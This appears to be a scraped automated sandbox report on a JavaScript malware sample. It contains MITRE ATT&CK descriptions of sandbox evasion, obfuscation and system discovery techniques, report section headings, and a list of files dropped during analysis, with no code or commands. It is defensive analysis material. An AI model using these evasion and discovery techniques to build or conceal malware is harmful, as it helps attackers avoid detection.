Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 44462735347649449.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ff4e1efc-1bec-4bbf-9c38-0e3d095a953a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7840

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
44462735347649449.js